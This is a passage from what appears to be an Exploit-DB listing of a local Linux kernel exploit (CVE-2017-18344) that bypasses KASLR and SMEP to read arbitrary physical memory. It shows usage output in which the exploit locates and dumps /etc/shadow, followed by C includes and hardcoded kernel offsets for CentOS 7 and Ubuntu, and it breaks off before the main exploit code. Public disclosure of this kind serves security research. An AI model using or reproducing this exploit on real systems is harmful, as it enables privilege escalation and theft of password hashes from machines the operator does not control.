Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KASLR & SMEP Bypass) Arbitrary File Read

EDB-ID: 45175
Author: Andrey Konovalov
Published: 2018-08-09
CVE: CVE-2017-18344.
Type: Local
Platform: Linux
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 // Includes KASLR and SMEP bypasses. No SMAP bypass. 
// No support for 1 GB pages or 5 level page tables.
// Tested on Ubuntu xenial 4.4.0-116-generic and 4.13.0-38-generic
// and on CentOS 7 3.10.0-862.9.1.el7.x86_64.
//
// gcc pwn.c -o pwn
//
// $ ./pwn search 'root:!:'
// [.] setting up proc reader
// [~] done
// [.] checking /proc/cpuinfo
// [~] looks good
// [.] setting up timer
// [~] done
// [.] finding leak pointer address
// [+] done: 000000022ca45b60
// [.] mapping leak pointer page
// [~] done
// [.] divide_error: ffffffffad6017b0
// [.] kernel text: ffffffffacc00000
// [.] page_offset_base: ffffffffade48a90
// [.] physmap: ffff8d40c0000000
// [.] task->mm->pgd: ffffffffade0a000
// [.] searching [0000000000000000, 00000000f524d000) for 'root:!:':
// [.] now at 0000000000000000
// [.] now at 0000000002000000
// [.] now at 0000000004000000
// ...
// [.] now at 000000008c000000
// [.] now at 000000008e000000
// [.] now at 0000000090000000
// [+] found at 0000000090ff3000
// [+] done
//
// $ ./pwn phys 0000000090ff3000 1000 shadow
// [.] setting up proc reader
// [~] done
// [.] checking /proc/cpuinfo
// [~] looks good
// [.] setting up timer
// [~] done
// [.] finding leak pointer address
// [+] done: 000000022ca45b60
// [.] mapping leak pointer page
// [~] done
// [.] divide_error: ffffffffad6017b0
// [.] kernel text: ffffffffacc00000
// [.] page_offset_base: ffffffffade48a90
// [.] physmap: ffff8d40c0000000
// [.] task->mm->pgd: ffffffffade0a000
// [.] dumping physical memory [0000000090ff3000, 0000000090ff4000):
// [+] done
//
// $ cat shadow
// root:!:17612:0:99999:7:::
// daemon:*:17590:0:99999:7:::
// bin:*:17590:0:99999:7:::
// ...
// saned:*:17590:0:99999:7:::
// usbmux:*:17590:0:99999:7:::
// user:$1$7lXXXXSv$rvXXXXXXXXXXXXXXXXXhr/:17612:0:99999:7:::
//
// Andrey Konovalov <[email protected]>

#define _GNU_SOURCE

#include <assert.h>
#include <ctype.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/sysinfo.h>
#include <sys/syscall.h>
#include <sys/types.h>

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define DEBUG 0

// CentOS 7 3.10.0-862.9.1.el7.x86_64
#define KERNEL_START 0xffffffff81000000ul
#define O_DIVIDE_ERROR (0xffffffff81723a40ul - KERNEL_START)
#define O_INIT_TASK (0xffffffff81c16480ul - KERNEL_START)
#define O_INIT_MM (0xffffffff81c914a0ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE (0xffffffff81c41440ul - KERNEL_START)
#define O_TASK_STRUCT_TASKS 1072
#define O_TASK_STRUCT_MM 1128
#define O_TASK_STRUCT_PID 1188
#define O_MM_STRUCT_MMAP 0
#define O_MM_STRUCT_PGD 88
#define O_VM_AREA_STRUCT_VM_START 0
#define O_VM_AREA_STRUCT_VM_END 8
#define O_VM_AREA_STRUCT_VM_NEXT 16
#define O_VM_AREA_STRUCT_VM_FLAGS 80

#if 0
// Ubuntu xenial 4.4.0-116-generic
#define KERNEL_START 0xffffffff81000000ul
#define O_DIVIDE_ERROR (0xffffffff81851240ul - KERNEL_START)
#define O_INIT_TASK (0xffffffff81e13500ul - KERNEL_START)
#define O_INIT_MM (0xffffffff81e73c80ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE 0
#define O_TASK_STRUCT_TASKS 848
#define O_TASK_STRUCT_MM 928
#define O_TASK_STRUCT_PID 1096
#define O_MM_STRUCT_MMAP 0
#define O_MM_STRUCT_PGD 64
#define O_VM_AREA_STRUCT_VM_START 0
#define O_VM_AREA_STRUCT_VM_END 8
#define O_VM_AREA_STRUCT_VM_NEXT 16
#define O_VM_AREA_STRUCT_VM_FLAGS 80
Related Posts